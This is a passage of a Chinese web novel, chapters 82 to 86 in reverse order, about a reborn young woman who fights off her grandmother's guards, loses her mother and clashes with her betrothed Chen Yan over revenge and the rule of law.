叶绯霜身体猛地一震,滔天的愤怒和两世的恨意被这突如其来的巨大喜讯瞬间冲散,空虚疲累的身体重新注入了力量,她仿佛重新活了一遍。 她挣脱陈宴的手,拔腿就往鼎福居奔去! 陈宴下意识就要跟上,他想问清楚、弄明白。 却听见陈夫人冰冷至极的呵斥:“陈宴!” 陈夫人迈着优雅从容的步伐从台阶上走下来,缓缓走到陈宴面前,发间的步摇纹丝不动,彰显着主人的端庄。 “我们该启程回颍川了。”她的声音温柔轻缓,却不容置喙。 看着她捏得泛白的指尖,陈宴知道她母亲远没有看起来那么平静。 叶绯霜那三个字的指责给他母亲造成的冲击只会比他更大。 陈宴不说话,陈夫人扬了扬唇角,笑意却不达眼底:“你折腾一晚上,得到这么一个结果。难道你还要追过去自取其辱吗?” 陈宴看着母亲,朝阳日光璀璨,洒入他眼中,仿佛点点碎金。 陈夫人从未在陈宴眼中看到这么无措、迷茫又破碎的眼神。 她的愤怒霎时间被心疼所替代。 这是她精心培养、引以为傲的儿子,他身上流着太原王氏和颍川陈氏的血,是顶尖的世家公子,自小众星捧月、清贵无匹。 她从未想过,敢有人如此辱骂他。 那个郑家女,说出这种市井粗鄙、污秽不堪的字眼,是在践踏他儿子的尊严,也是在打她的脸。 她绝对、绝对不可能接受这样一个儿媳妇。 陈夫人优雅转身:“走吧,我们回去商议你的加冠礼。之后,我会为你重新议一门亲。” 陈宴垂下眼睫,并不意外母亲这个决定。 叶绯霜今日的行为,实在是触了母亲的底线。 他跟着陈夫人离开郑府,上了马车。 陈夫人端坐在软垫之上,雍容地问:“这是你迄今为止人生中最大的失败吗?” 陈宴的震惊、不解、愤怒、惊愕已经完全消失了,他面色清淡,眉眼疏冷,还是那个泰山崩于前而面不改色的贵公子。 他坦然颔首,并不掩饰自己的失败:“是。” “开蒙、陪护、救命、庆生、献礼……你做了什么多,为何会得到这样一个评价?我的儿子,何至于此?” “母亲所惑,也是儿子所惑。” “我会将你在荥阳的所作所为禀明你祖父,你好自为之。” “是。” “可后悔?” “不曾。” 陈夫人闭上眼:“可有想结亲的人家?” “我若想,母亲会应么?” “说来听听。” “荥阳郑氏。” 陈夫人猛然睁开眼,眼中的惊愕不亚于刚才听见他儿子被辱骂。 陈晏继续:“郑五姑娘。” 陈夫人所有的雍容和淡定都化为齑粉,她的音调几乎都扭曲了:“陈宴,你是真疯了了,还是想气死我!” “祖父自小便教育儿子要有求真求是的态度,郑五姑娘身上有太多儿子不解的谜团,儿子需得一一探究明白,否则此生难安。” “那你就别安了!”陈夫人怒道,“你若娶了她,才是不想让我这辈子安宁了!” 她儿子什么人没见过,这是被灌了什么迷魂汤? 竟被一个小丫头片子勾得死死的。 陈夫人这辈子都无法接受一个那么辱骂他儿子的人。 “陈宴,我明白告诉你。”陈夫人一张美人面上满是清寒之色,“我宁可你一辈子不娶,也不会让你娶她,你记住了!” 第86章 狗男女 我只有你了—— 陈宴没想到能从她口中听到这句话。 一句带着十足信任和依赖的话。 他的心尖都因为这句话而震颤,几乎要生出一股冲动—— 替她宰了傅闻达。 但是他不能,这里光天化日,朗朗乾坤。 傅湘语尖锐凄厉的哭声乍然响起,如同晴空之中的一记闷雷,震碎了叶绯霜脑中的虚幻和迷茫,让她如梦初醒,归于现实。 她茫然四顾,不远处郑府大门口是雍容华贵的陈夫人,傅湘语抱着气若游丝的傅闻达痛哭不止,而她面前…… 是温润儒雅、光风霁月的年轻公子。 不是那位陈大人。 却和那位陈大人一样的端肃守礼。 竟让她一个刚刚失去娘亲的人讲规矩、懂礼法。 也对,他们本就是一个人。 她干涩的嘴唇微微翕动:“礼法?规矩?” 自从回了郑家,不知道多少次听到这两个词语。 人人都拿这四个字要求她。 前世,她践行了,结果是什么? 陈宴看出了她的不认同,眉头微微蹙起:“国有国法,家有家规。他们若有错,自有府衙按照律法规则来审判,会还你一个清白公道。叶绯霜,你绝不能妄取人命。” 想起自己和爹娘过的日子,叶绯霜只觉得可笑:“我和我爹娘被挤压得没有生存之地的时候,公道在哪里?我们被欺辱时,国法家规形同无物。 我们要反抗了,国法家规就成了金科玉律。怎么,这国法家规只用来约束我们弱者吗?” “有了宗法秩序,才有家国。有了律典法政,才有社会稳定。要是人人都践踏律法,擅用私刑,以暴制暴,以杀止杀,社会会变成什么样子?我们又和那些茹毛饮血的野人有什么区别?” ”你一出生便锦衣玉食,不曾体会过生活的困苦,有的是条件满口家国大义。你是礼法的受益者,你维护也正常。而我一介草民,只想管好我的小家。谁害我至亲,我就和谁拼命!” 她的声音强硬又坚定:“比起虚无缥缈的律法,我更相信我手中的刀。我自己的仇,自己来报。对与错,轮不到旁人来审判!” 叶绯霜看着陈宴,手指着傅闻达:“陈宴,要是今日被他害死的是你的至亲,你不会想宰了他吗?你还能站在这里冷冰冰地跟我讲这些规矩、律法吗?” 母亲就在不远处,陈宴微微沉了脸:“你这个例子不恰当。” 陈夫人把叶绯霜的话听了个清清楚楚,面露不悦,摇了摇头:“简直是不可理喻!” 陈宴不知道叶绯霜为何会对礼法律例失望成这个样子。 仿佛她曾被这所谓的礼法压得粉身碎骨、万劫不复。 傅湘语则梨花带雨的哭起来:“五姑娘,我和哥哥做的那些都是为了你好,想让你悬崖勒马,痛改前非,否则你以后怎么嫁给陈公子?结果呢,你不分好歹,反而恩将仇报,还要杀我哥哥,你简直就是冥顽不灵!” 傅湘语这张伪善的脸真的让叶绯霜看得想吐。 多大脸啊,还说她恩将仇报? 傅湘语为何敢这么说?因为她知道,叶绯霜不敢把昨晚鼎福居发生的事情说出来。 丑闻越大,越要关起门来自己解决。要是叶绯霜敢抖落到陈家人耳朵里,族里那些人饶不了她。 自己告密的事情她也不敢说,否则岂不是要在陈宴和陈夫人心中落下一个“破坏父亲婚事”的嫌疑?这可是大不孝的罪名! 傅湘语现在说这些,就是想激怒叶绯霜,最好激得她像昨晚那样狂暴失态。 让陈夫人好好看看叶绯霜的德行! 傅湘语不信陈夫人愿意让自己光风霁月的儿子娶一个泼妇般的儿媳妇。 只是傅湘语千算万算,没算出叶绯霜和她的诉求其实是一致的—— 她想破坏叶绯霜和陈宴的婚约,刚好,叶绯霜也并不想要这桩婚约。 所以,她一点都不在乎陈夫人的看法。 于是叶绯霜直接抡起胳膊,把傅湘语扇得原地跳了个胡旋舞。 傅湘语转了好几圈才倒在地上,半边脸肿得像小山,眼花耳鸣,鼻血喷涌而出。 傅湘语见叶绯霜真的被激怒,自认为计谋达成,愈发哭得委屈起来,仿佛她比窦娥还冤。 见叶绯霜又靠近傅湘语,还要打似的,陈宴再次拽住她:“叶绯霜,可以了。” 他下意识看向母亲,她怫然不悦的面容上流露出显而易见的不满。 陈宴绷紧唇角,喉结滚了滚,心头涌上一丝暗恼与苦闷。 她想做什么就做什么,不分场合,却不看看这里还有谁。 他母亲还在,该怎么看她? 不能让她继续这样下去了,否则母亲意见更大,他们的婚约…… 陈宴用力握紧她的手腕,白皙的手背上青筋都绽了出来:“叶绯霜,你适可而止。” 这句话落在叶绯霜耳中,就是他在袒护傅湘语。 这让叶绯霜想起了前世的一件事。 前世,傅湘语就是这么一副道貌岸然的样子。 但是她装得太好了,自己又蠢,一直没发现这人白莲外表下的那颗黑心。 大婚那天,她满心期盼着陈宴来娶她,等到的却是秦氏带着人破门而入,搜她闺房,说她与人私通。 自然,搜出了许多她不知道的“物证”。 她辩解,说自己从未做过这种丑事。 然后傅湘语这个人证出来了。 她说出许多时间、地点,说她亲眼看见叶绯霜和人私会。 然后还满脸歉意地对她说:“五妹妹,姐姐揭发你是为了不让你一再错下去了,姐姐是为了你好。” 这下人证物证俱全,她说破天也没人相信她。 她众矢之的,被攻讦唾骂。她焦急地想,陈宴怎么还不来娶她呢? 陈宴那么好,他会相信她的。 可是她没有等到陈宴的信任与包容,而是他冷漠的面容、嫌恶的视线。 大婚取消了,她被郑家扫地出门。 无家可归,被陈宴的人找到,带到一个小院子里。 陈宴又变得温柔,对她说:“即便我相信你,我也推翻不了那些人证物证,只能委屈你了。” 这声“相信”让她重新活了过来。 外室就外室,只要能和他在一起,都没关系。 后来,她才明白,他是刑部的郎官,有什么是他推翻不了的呢?只不过他不屑、也不需要那么做罢了。 毕竟,这件私通之事就是他一手设计的。 傅湘语,也是他安排的。 得知真相那天,她崩溃了,说要去找傅湘语算账,陈宴拦住了她,平静地看着她发疯:“事情是我做的,她也是听了我的话,你要报仇冲我来,别波及她。” “你护着她?”叶绯霜伤心又绝望,“她污蔑我,把我害到了这个田地,你还护着她!” “我说了,她是受我指使,她是无辜的。” 叶绯霜没见过陈宴那么袒护一个人。 她没能找傅湘语算账,因为她出不去那方小院。 她也没能找陈宴报仇,因为她没那个本事。 她和陈宴之间的那层虚伪表象被撕破,他们的关系急转直下,跌入冰点。 前世今生,其实是一样的。 傅湘语还是这张虚伪做作的脸。 陈宴还是护着傅湘语。 前世的记忆催化了现在的愤怒。 叶绯霜冷眼睨着这两个人,在两世仇怨的裹挟中,轻嗤一声:“狗男女。” 第85章 她混乱 叶绯霜扑到靳氏床边。 “娘……”叶绯霜从喉间挤出一声破碎的呜咽,不断滚落的泪水模糊了她的视线。 靳氏艰难地睁开眼,想要给叶绯霜擦泪,却无论如何都抬不起手。 她凌乱的发丝被冷汗黏在颊侧,眼神痛苦中又带着温柔,气若游丝地问:“霜儿受伤没有?” 叶绯霜握着靳氏的手贴在脸颊边,连连摇头。 靳氏目露欣慰:“你……你爹呢?” 爹爹昏迷不醒,几位大夫正在救治,情况尚且不知。但是他们面容凝肃,可见情况已经糟透了。 叶绯霜撒了谎:“爹爹没事,娘您别担心。您把伤养好,咱们一家都好好的。” 她把外头的消息告诉靳氏:“族中来人了,那对双生子的身世大白了。族长和太夫人一定会处置老太太的,最差也是削权软禁,她以后不能再欺压爹娘了。族中一定会还我们一个公道,会把您的正室之位还给您。” 靳氏几不可见地扯了扯唇角:“好啊,好。” 事到如今,正室不正室的她倒是不在乎了。但她成了正室,她女儿就有了嫡出的身份,以后嫁去陈家,不会太让人看不起。 靳氏的气息越来越微弱,叶绯霜慌得不行,用力搓靳氏的手,想让她逐渐冷掉的手重新暖起来。 “娘,您别睡,您再坚持坚持。大夫们会把您救好的。”叶绯霜哭着哀求她,“您的苦都吃完了,以后都是好日子了,您挺过去好不好?” 靳氏露出一抹笑来,爱怜地看着女儿,艰难地说:“把你找回郑家,也没让你过上好日子……娘、娘这次先下去,在下边把什么都打点好,娘一定不软弱了……等百年之后,你和你爹再来找娘团聚,娘一定不让那些小鬼欺负你们……” 靳氏努力抬了抬脸,往郑涟那边张望,可是她并不能看到郑涟。 靳氏缓缓闭上了眼。 叶绯霜死死抓着娘亲的手,在床边跪了很久很久,大夫、丫鬟们来来往往,还在救治。 她听不到那些大夫在说什么,她脑中只有一个念头——娘亲死了。 她没有护住娘亲。 心口好痛,头也好痛,血液变得滚烫,要让她全身都焚烧起来。 良久,她僵硬的身体被心底冒出的滔天恨意强行提了起来,她走到另外一张床畔,看着上边生死不明的父亲。 前世的记忆和面前的场景逐渐重合。 母亲暴毙,面容青紫,五官全非。 父亲在病榻上挣扎良久,撒手人寰。 一模一样。 极度的悲痛和疲累下,叶绯霜的神智都有些恍惚,她开始分不清她所处何地。 她是不是依然在前世? 所谓的重生只不过是一场梦? 否则,她为何没能改变父母的结局? 现在梦醒了,她在梦中所做的一切都是徒劳的,父母的死亡才是现实。 太阳穴突突地跳,面前的一切在她眼中逐渐扭曲,前世今生交错的记忆几乎要撕裂她的脑袋。 叶绯霜浑浑噩噩地出了偏厅,正厅中已经没人了。 守在外头的铜宝立刻向她禀报,族长他们都去祠堂了。 “傅闻达呢?”叶绯霜听见自己僵硬到冷静的声音,她都不知道自己是怎么发出的,“他是外姓人,总不能也去祠堂了吧?” 此时的傅家兄妹正跟着小秦氏,准备出府。 小秦氏已经出嫁,现在是杜家人,不能参与郑氏宗族的事,即便她爹娘被带去了祠堂,她也无法跟进去。 傅家兄妹亦然,况且他们现在已经乱了阵脚,必须离开郑府,找个地方好好冷静下来,谋划以后。 一个阴恻恻的声音从身后传来:“你们干什么去?” 傅家兄妹一回头,瞧见叶绯霜时,脸上的最后一丝血色也褪得一干二净了。 她明明干净整洁,可是苍白的脸和漆黑空洞的眼却让她看起来像从地狱里爬出来的索命厉鬼。 天光大亮,雨早已停了。鼻端明明是雨后清新的草香,可是他们偏偏闻到了血腥味。 傅闻达想起叶绯霜一刀砍落人头的狠戾劲儿,不禁吞了吞口水:“叶绯霜,你要做什么?” 叶绯霜手中没有任何武器,身体也早已透支,但是父母的惨状奇异地支撑着她,让她爆发出巨大的力量。 她冲过来,将高她许多的傅闻达踹倒,压在他身上,双手死死掐住他的脖子。 傅闻达发出濒死般的嗬嗬声,眼珠因为窒息和恐惧而暴突。 为了救哥哥,傅湘语拔下发间的簪子来刺叶绯霜,却被她劈手夺过。 她握着簪子就用力往傅闻达喉间刺去—— “住手!” 一声清喝响起,与此同时,叶绯霜的手腕被一股大力攫住,动弹不得。簪头离傅闻达的脖子只有半寸,却无法再刺下去一分。 叶绯霜抬头,恍惚间看见了陈宴的脸。 她死寂的眼睛有了亮光,张了张嘴,叫了声“郎君”,却没有发出任何声音。 她最后一点力气全在手上,连话都说不出来了。 她好难受。想告诉他,她和爹娘被欺负得好厉害。 爹娘死了,她没有家了。 她要为爹娘报仇。 他是她在这世上唯一的亲人了。 可是他为什么拦着她呢?他是她的郎君,得帮她啊。 他把她从水里救上来之后不是就说过,会一辈子对她好的吗? 陈晏的身形在叶绯霜眼前不断变幻,一会儿是温润儒雅的陈公子,一会儿是冷面无情的陈大人。 无数记忆碎片在她脑子里走马灯似的过,涨得她的头快要炸开了。 傅闻达已经开始翻白眼了,陈宴蹙眉:“叶绯霜,松手!傅闻达是举人,是官身。你若杀了他,就是民犯官,是重罪,这后果你担得起吗?” 叶绯霜就和没听见似的,非但没有放手,反而更加用力,带着一股毁灭一切的决绝,势必要将那根簪子捅入傅闻达的脖颈。 陈宴和她认识快一年了,从未见过她这么失控。 在他的认知中,她年龄虽小,却早慧稳重,面对天大的事都能冷静处置,这是怎么了? 他耐心劝告,试图让她冷静下来:“叶绯霜,你先放手。发生了什么你告诉我,我们一起处理,你先把他放开。” 叶绯霜嘴唇颤抖,声音是生生挤出来的:“他害死了我娘,我定要杀了他!” 簪子刺不下去,就用另一只手掐,反正傅闻达的命她拿定了! 在傅闻达窒息的前一秒,叶绯霜被陈宴半拽半抱地拉开了。 他把她手里的簪子扔到一边,握着她的肩膀,弯腰平视她的眼睛:“叶绯霜,你冷静一点。他若害死了你娘,律法会处置他。你不可以光天化日之下杀人,这不合规矩,也有违礼法,你还会惹祸上身,知道吗?” 叶绯霜空茫的视线终于在他脸上聚焦,她在看他,却又不像在看他。 “你为什么要拦我呢?”她声音很轻,带着委屈的哭腔,喃喃地问,“我只有你了,连你都不帮我吗?” 第84章 太惨烈 叶绯霜让爹娘躲到墙角,自己护在他们前边,不断挥舞着长刀,挡下一次又一次的袭击。 她招架间还不忘言语震慑:“我爹到底是郑府的四老爷,即便你们奉了老太太之命要杀他,那也是部曲犯主,属恶逆重罪,按律当绞!” “倘若被族长、官府知道,这么大的罪,老太太保得住你们吗?她会保你们吗?她只会把你们推出去!” 这些护卫还没到听不进话的地步,即便他们不能对大昭律如数家珍,起码也知道以下犯上的确是大罪。 犹疑间,攻势慢了下来。 叶绯霜得以略微喘息。 心跳如擂鼓,血脉沸腾,手臂酸到几乎要抬不起来——不比去年庇阳山中秋那晚好到哪里去。 她现在唯一能做的就是在保住爹娘的情况下尽力拖延时间,拖到族中来人。 “霜儿,你走吧,别管我和你爹了。”靳氏颤抖着嘴唇,轻声说,“离开这里,离开荥阳,随便到哪里去,再也不要回来了。” 她女儿有本事,身手那么好,要是没有他们这对废物爹娘的拖累,她定可以跑出去。 郑涟靠在靳氏怀中,刚才对老太太的一番指责已经耗尽了他的气力。他因愤怒而涨红的脸变得灰败、青白,气息微弱,像一盏油尽了的残灯。 郑涟“嗬嗬”地粗喘着:“走……走!” “爹,娘,我不走!我们再撑一会儿,天亮了就好了。”叶绯霜用只有三个人能听到的声音说,“等天亮,城门开了,涂州那边的人会回来,族长他们会过来,我们就有救了。” 郑涟艰难地望了一眼窗外。夜色暗沉,大雨漂泊,到底什么时候才能天亮呢? 他年幼的女儿,如何撑到天亮呢? 房门突然被人推开,雨声骤然变大,一道闪电映照出傅闻达的身形。 他一眼扫到角落里的一家三口,怒道:“怎么还没把人处理干净?你们这群饭桶,小心老太太把你们贬成军户戍边去!还愣着干嘛?动手啊!” 族长他们已经过来了,竟然还带着涂州那边找到的证人! 那对双生子的身世真的败露了! 傅闻达趁乱溜来鼎福居看情况,没想到四房这三个人竟然还没被解决! 绝对不能让他们有命和族长他们对峙! 傅闻达厉声道:“取下他们三人头颅的,赏金一千两!” 黄金千两!护卫们顿时血脉沸腾。 巨大的诱惑很容易让人失去理智,变成亡命之徒。 这群护卫顿时变得比刚才凶残多了,甚至为了能挤到前边取下他们三人的头颅开始自相残杀。 攻势太猛,叶绯霜有些独木难支。 郑涟突然从角落里扑出去,抱住一名想从侧面偷袭叶绯霜的护卫的腿,用尽全力大喊:“霜儿,跑!快往外跑!” 那名护卫抬脚猛踹郑涟胸口,可是这久病缠身、身如飘萍的四老爷不知道哪来的力气,都被他踹得不断吐血了,竟还死死抱着他不撒手! 那就先取他的头! 这护卫举剑便朝郑涟后颈砍下,却被扑到郑涟身上的靳氏挡住了。 这一剑从靳氏左肩砍到了右腰,横贯整个后背。 叶绯霜回头,被母亲的鲜血溅了一脸,目眦尽裂,怒喝:“我杀了你!” 长刀横出,直接削掉了那名护卫的头颅。 头颅飞出去,落在傅闻达脚边,睁着的眼睛刚好盯着傅闻达,嘴角甚至还在抽搐。 傅闻达心头巨震,再抬头,对上的就是叶绯霜望过来的血红双眸。 她的眼睛红得像是着了火,布满了愤怒和决绝的杀意。 傅闻达被她骇得连连后退,冒出的第一个念头就是:逃! 可是他逃不了了,一群族人已经涌进了鼎福居院中,手中的灯笼将漆黑的夜幕照得亮如白昼。 “住手,都住手!”在最前边的是一位族老,显然被这血腥的修罗场给惊呆了,气得脖颈上青筋暴起,“敢对四老爷动手,你们是要造反吗?” “姑娘!”小桃奔到叶绯霜面前,被她家姑娘身上的血吓坏了,“姑娘,你受伤了吗?” 叶绯霜颤抖着嘴唇,声音嘶哑:“叫大夫,快叫大夫……” 族老疾步走过来,见郑涟和靳氏已经双双陷入昏迷。 郑涟满脸是血,气息微弱得几不可察。靳氏更像是从血池里捞出来的,后背上的伤口仿佛要将她全身的血给流尽。 族老不忍再看,直拍大腿:“造孽!真是造孽啊!” 护卫们退下,郑涟和靳氏被抬进偏厅,叶绯霜僵硬地跟了过去。 她像个木偶似的杵在那里,小桃把她带到一边,按着她在椅子上坐下,给她擦脸、擦头发。 叶绯霜任由小桃捯饬,茫然地看着大夫和丫鬟们来来去去,端出一盆盆血水。 她听见鼎福居正厅进来好多好多人,七嘴八舌地在说话,里边有族长和太夫人的声音。 她看见了刑娘子。刑娘子身边还有一对年长的夫妇,穿着绫罗绸缎,叶绯霜不认识,小桃说这是秦氏的父母。 郑老太太、小秦氏、傅家兄妹、郑茜媛和郑文博等人也都被带了进来。 郑老太太依然努力做出高高在上的姿态,但是她颤抖的身躯暴露出她已经慌了。 小秦氏面色灰败,郑茜媛更是战战兢兢,郑文博则是满脸好梦被扰了的不耐烦。 太夫人和族老高坐主位,族老们列坐周围,三堂会审的架势。 郑老太太还在狡辩说这对双生子就是郑涟的骨血。 于是刑娘子把已经对太夫人和族长他们讲过好几遍的供词又讲了一遍: “我娘是个接生婆,十年前被郑府请来为四房的秦夫人接生。但是我娘回去后没有得到赏钱的高兴,反而十分不安。 我再三询问,我娘才说她知道了郑家的一桩密辛。秦夫人的双生子明明就是足月的胎儿,根本不是七月早产。按照时间来算,这孩子在秦夫人进四房前就有了。 我娘还说,她心神不宁走错了路,撞见了个老婆子把一个襁褓递给个小厮,让那小厮把这襁褓处理了。说这襁褓里是四房的五姑娘,但四房现在有了嫡子嫡女,就不留着这女婴碍秦夫人的眼了。 不久后,我娘就失足落水而死。我觉得我娘其实不是失足,是被人灭了口,我吓坏了,这些年战战兢兢。直到今年回涂州老家过年时听到有人暗中打听这件事,我才说出来,不然我良心难安。” 郑老太太愤然说这是污蔑。 因为当年那些接生婆的全家都被她灭了口,连孩子都没给活路,如何会冒出一个接生婆的女儿来指认此事? 可灭人满门的事她不能说,况且她的弟弟弟妹,也就是秦氏父母早就被族长的人连蒙带骗的吓破了胆,早已把大女儿当年和人私通、珠胎暗结的事招供了个干净。 太夫人怒道:“秦氏,你迫害庶子,混淆宗族血脉,滥用权力,践踏族规,你何堪为一族宗母!” 小桃把叶绯霜的脸擦干净,头发擦干净重新编好辫子,把她满是血的衣裙剥下来重新换上干净的。 仿佛让她家姑娘看起来好好的,她家姑娘心里就能跟着好好的。 小桃红着眼睛说:“姑娘,你听,族长还咱们公道了,都好了。” 结果和她盘算的一样,只是本该和平的过程因为事情提前曝光而变得无比惨烈,以致她现在没有任何胜利的喜悦。 床边,一个满手是血的丫头忽然叫了起来:“不好了!靳姨娘她不行了!” 第83章 开杀戒 陈宴的心绪从来没有这么乱过。 而且是没缘由的乱。 电闪雷鸣之后,便落了春雨。雨滴拍打在窗柩上,更惹人心烦。 锦风终于回来了:“公子,落梅小筑里没人。” 陈宴骤然抬眼:“没人?” “是,一个人都没有,整个院子都空了。” 果然出事了,陈宴豁然起身,疾步便往外去。 隔壁的房门打开,陈夫人的大丫鬟刚好出来,惊道:“公子,你怎么还没歇?你这是要去哪儿?” 陈宴不言。 正要下楼梯,身后传来陈夫人的声音:“站住!” 母亲唤,陈宴只得停步。 陈夫人披着衣服,解了头发,眉眼间还有困怠,可见是刚从睡梦中惊醒的。 她柳眉微蹙:“这深更半夜的,外边还落了雨,你要往哪儿去?” 陈宴素来守礼,对父母敬爱有加,对母亲的询问不会置之不理,也不会随口敷衍。 “母亲,我要去郑府。四房出事了,我去看看。” 陈夫人眉头蹙得更深:“你如何得知的?况且郑府四房,和你有何干系?你以什么立场去?” “母亲,郑五姑娘她……” “陈宴!”陈夫人厉声打断了他的话,“郑府的家事,岂是你一个外男可以置喙的?你们只是有婚约,又没有真的成婚!” 她这儿子,自小守礼,长大后更是践行君子之风,从不失态,更不逾矩,如今这是怎么了? “你深更半夜闯去郑府,要让旁人怎么看我陈家的家风!”陈夫人扬起下颌,“你跟我进来。” 陈宴不动。 “进来!” 陈宴知道,母亲是要审他了。 他已经警告过锦风等人,不许把他和叶绯霜的接触告诉母亲。但现在,母亲显然起了疑。 长辈问询,他阖该解释清楚。 可现在,就连病重的郑涟都不在落梅小筑里,这显然是出了大事。 陈宴目前可以想到的,唯有叶绯霜阻止高菡嫁入郑家这件事暴露了。 郑老太太素来不喜她,如今抓到把柄,更不知要如何刁难。 他是不该去,他是没有立场。可是他不去,郑府里还有谁能帮她呢? 今日一早,三夫人卢氏和郑茜静就由卢季同护送着去了宁国寺祈福。 是了,和她关系好的怎么都不在府里?明显是郑太太有意安排! 思及此,陈宴顾不得了,垂首道:“母亲息怒,恕儿不敬。等儿回来,任凭母亲发落。倘若母亲觉得儿有辱陈氏门风,儿愿领家法。” 说罢,他肃然转身,任凭陈夫人如何再唤都未曾回头。 陈夫人扣紧门框,保养得宜的手都爆出了青筋。 “去给我查。”陈夫人冷声道,“他陈宴在荥阳这大半年,都和那郑五姑娘做了什么!” 从客栈后院找到小白,陈宴翻身上马,没有接锦风递来的蓑衣和斗笠,纵马闯入雨幕中。 锦风立刻跟上。 雨势渐大,冰凉的雨水激得人心头发寒。 在这潇潇雨声中,陈宴骤然听到破空之声。 一柄横刀闪着凛冽的寒光,割裂雨帘,朝他急袭而来。 锦风失声大喊:“公子小心!” 陈宴拍马而起,拔出长剑,柔软的剑身震颤几下,陡然绷得笔直,和横刀相抵,发出令人齿寒的碰撞声。 离得近了,陈宴看清了对方那张艳绝瑰丽的脸。 凤目红唇,眉宇间贵气凛然。 是去年在来荥阳的船上刺杀他的那个人! 有这么出众的面孔,这么清贵的气质,这人绝不该是寂寂无名之辈。 可陈宴并未查到任何和他有关的消息,更不知他为何对自己有这般汹涌的杀意。 陈宴心挂叶绯霜,只想赶去郑府,偏对方实力不在自己之下,手中横刀更是珍器,缠斗着让他根本无法脱身。 刀光剑影,二人霎时间过了数十招,招招惊险万分。 但陈宴一丝狼狈都没有,说话的气息依然平稳:“不知我与阁下有何深仇大恨。但现在我有要事,等我办完,定和阁下解决干净。” 对方轻嗤,嗓音清绝疏懒:“想走?可以,留下你狗命便是。” —— 重活不易,叶绯霜当然不会坐以待毙。 她劈手夺过一名护卫的刀,牢牢护着自己和爹娘。 养父说,活着比什么都重要。 养父说,想活着,就得有本事。想有大本事,就得拼命练。 感谢养父对自己要求那么严格,感谢自己真的拼了命地练。 前世她走错路,丢了一身本事,也丢了命。 这一世,她要为自己和爹娘杀出一条血路来。 不仁不义?不忠不孝?那又如何,名声哪有命重要。 这杀戒,她偏就开了。 门窗紧闭,鼎福居厅堂成了一个密闭的铁桶,里边血腥味蔓延,堪比地狱。 郑老太太和小秦氏等人全都在护卫们的掩护下退出了厅堂。 人都是惜命的,她们也怕疯了的叶绯霜伤到自己。 郑茜媛踉踉跄跄地跑进来,满脸泪水:“祖母,我刚刚听到父亲说我和弟弟……我们……” 郑老太太一把把郑茜媛抱在怀里,拍着她的头:“你爹疯了,他的话你别听。你和你弟弟都是我们郑家的好孩子,你就是四房的嫡女。” 郑涟和她没有血缘关系,但是郑茜媛身上是切切实实流着她们秦家的血的。 小秦氏也说:“媛娘,别怕,姨母和你祖母在呢,谁都伤不了你和你弟弟。” 她不信郑涟一家还能活到天亮。 也不知道叶绯霜还在挣扎什么,就算她天赋神力,把那些护卫都杀了,她以为他们就能逃出生天了? 困兽之斗罢了,等着他们的无非就是一个“死”字。 郑茜媛和郑文博的身世,注定会成为不见天日的一段密辛。 雨势渐大,形同瓢泼。 忽然跑来一个下人,高声禀告:“不好了,老太君,来人了,来了好多人!” 郑老太太被没完没了的事给烦透了,不耐烦地问:“谁又来了?” “是族长,太夫人,还有族里的老爷们,好多人!” 郑老太太目光陡利,小秦氏和傅家兄妹也是骤然愣住,齐齐冒出不好的预感。 即便族中出了事,也大可等白天再商议解决,为何要深夜冒雨来此? 想到堂中情形,郑老太太立刻道:“拦住他们!别让他们进来!” 通报的小厮哭丧着脸:“拦不住啊老太君,护卫们都被调走了,他们已经进来了!” 小秦氏见郑老太太慌了,立刻道:“祖母莫急,先弄清楚他们为何来此。” 郑老太太看向郑茜媛:“难道……” “不会的,老太太,您别自己吓自己。”罗妈妈忙道,“不可能是这件事,不会有人知道的。” 郑老太太压下心头不安,闭目喘息:“带他们去前厅,我在那里见他们,绝不能让他们来鼎福居!” 第82章 抖秘密 春雷轰鸣,宛如炸在人的心头。 时不时亮起的闪电映着叶绯霜泛红的双目,清晰照出她脸上的点点血渍,显得她形同鬼魅。 叶绯霜挡在郑涟和靳氏前边,右手牢牢握着一枝从靳氏发间拔出的银簪。 她用不断滴血的簪头对准那些不安好心的人,声音冷厉嘶哑:“谁还敢碰我爹娘?” 干净昂贵的长绒地毯上血污片片,都是被五姑娘弄伤的小厮婆子身上流的血。 一时间竟没人再敢上前。 这五姑娘实在太吓人了,又狠又疯,谁来捅谁。 僵局被傅湘语冷声打破:“郑五姑娘要杀外祖母,还不快把她拿下!” 小秦氏紧跟着道:“是啊,快把这疯丫头抓住!不要有顾忌!哪怕杀了她,那也是为郑家清理门户,大功一件!你们还愣着干什么?快上啊!” 眼看女儿又和那些人打了起来,靳氏胆战心惊,全力叫道:“霜儿,不要再打了!” 她又开始朝郑老太太磕头:“老太太,您让他们住手吧,一切罪责我来承担,要杀要剐我都没话说,饶了霜儿吧!” “不行!决不能轻饶了她!”小秦氏说,“姑母,此女品行不端,顽劣不堪,刚刚还想拿簪子行刺您,这如何了得?必须了结了她,以绝后患!” 妻女被欺辱到如此地步,郑涟情绪激荡,胸口绞痛不堪,面色青灰如纸。 他喉间发出嘶哑的急喘,断断续续地说:“霜儿只是为了护着我和她姨娘,她何时行刺母亲了?” 小秦氏冷笑道:“叶绯霜以下犯上,妄图刺杀祖母,鼎福居所有人都是见证!” 傅湘语说:“四舅舅,难道连您也要是非不分,包庇纵容犯错的妻女,忤逆外祖母吗?” 傅闻达也好声劝道:“四舅舅,外祖母已经定了让您娶高同知家的千金为妻,您还有博哥和媛姐一双儿女呢,您可想清楚了,千万别犯糊涂啊!不要为了这一妾一女,断送了您自己的好日子!” 郑老太太觑了郑涟一眼,不甚在意地说:“老四,不是我容不下你这一双妾女,是她们自己行差踏错,走上了绝路。既然犯了大错,我就不能不处罚。” “犯错?绝路?”郑涟的声音嘶哑得像一面破锣,却带着从未有过的尖厉,“母亲,这些年,不是你一直在把我们往绝路上逼吗?” 一向窝囊的郑涟竟然敢反驳老太太,实在出人意料,厅堂内骤然安静下来。 雨打窗柩,今年的第一场雨在电闪雷鸣中落了下来。 郑涟情绪上涌,灰败的脸上泛起了不正常的红晕。那双原本浑浊暗淡的眼睛却燃烧着骇人的火焰,直直射向上首的郑老太太。 “我和香华幼年相识,少年夫妻,她是我三媒六聘娶进郑家的妻子。若非母亲你为了一己之私,非要把秦氏塞给我,她如何会被贬为妾室?” 小秦氏厉声道:“她被贬为妾,自然是因为她无子!不能为郑家绵延香火,她如何堪为一房主母!” 郑涟喉间发出“嗬嗬”的冷笑,竟然盖过了他艰难的喘息:“是吗?所以你那怀着旁人骨血被塞进郑家的姐姐,就配得上做一房主母了吗?” 话落,周遭死一般的寂静。一道更近、更亮的闪电骤然劈开天幕,映照出厅堂内所有人或惊愕、或意外、或不解的面容。 